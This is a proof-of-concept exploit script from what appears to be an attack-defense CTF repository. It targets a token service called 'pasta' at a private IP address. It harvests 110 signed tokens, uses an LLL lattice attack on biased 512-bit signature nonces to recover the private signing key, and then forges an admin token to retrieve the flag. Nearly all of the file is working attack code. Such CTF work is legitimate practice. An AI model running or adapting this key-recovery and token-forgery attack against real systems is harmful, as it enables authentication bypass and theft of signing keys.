Files
attack-defense-platform/exploits.old/pasta/poc.sage
T
2025-10-10 22:18:06 +07:00

130 lines
2.9 KiB
Python

import json
import os
import requests
from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
from hashlib import sha512
from base64 import urlsafe_b64decode, urlsafe_b64encode
from pasta import PastaSigner, PastaVerifier
HOST = "10.100.101.102:13000"
# HOST = "0.0.0.0:8000"
def register(username):
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
print(r.json())
def login(username):
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
token = r.json()['token']
return token
def get_flag(token):
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
return r.json()
secret = b'\x00' + os.urandom(65)
signer = PastaSigner(secret, 4)
verifier = PastaVerifier(secret)
sigs = []
n = 110
for i in range(n):
username = "pasta-{}".format(i)
register(username)
token = login(username)
sigs.append(token.encode())
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
hs = []
rs = []
ss = []
for i in range(n):
_, _, sig = sigs[i].split(b".")
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
size = 132
signature = raw_data[-size:]
public_key = raw_data[-size * 2:-size]
message = raw_data[:-size]
r = bytes_to_long(signature[:66])
s = bytes_to_long(signature[66:])
hs.append(bytes_to_long(sha512(message).digest()))
rs.append(r)
ss.append(s)
h1 = int(hs[0])
r1 = int(rs[0])
s1 = int(ss[0])
captured = []
for i in range(len(hs)):
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
matrix = []
nonce_bit = 512 # bit size of nonce
i = 0
n = len(captured) + 2
max_nonce = 2**nonce_bit
for signature in captured:
matrix.append([0] * n)
matrix[i][i] = order
i += 1
matrix.append([0] * n)
matrix.append([0] * n)
i = 0
for signature in captured:
h, r, s = signature
inv_s = inverse_mod(s, order)
matrix[n - 2][i] = r * inv_s
matrix[n - 1][i] = h * inv_s
i += 1
matrix[n - 2][n - 2] = int(max_nonce) / order
matrix[n - 2][n - 1] = 0
matrix[n - 1][n - 2] = 0
matrix[n - 1][n - 1] = max_nonce
print("LLL")
B = Matrix(QQ, n, n, matrix)
L = B.LLL()
possible_d = []
for row in list(L):
k1 = int(abs(row[0]))
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
possible_d.append('00' + long_to_bytes(d).hex())
# assert secret.hex() in possible_d
for d in possible_d:
fake_signer = PastaSigner(bytes.fromhex(d), 4)
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
print(get_flag(token))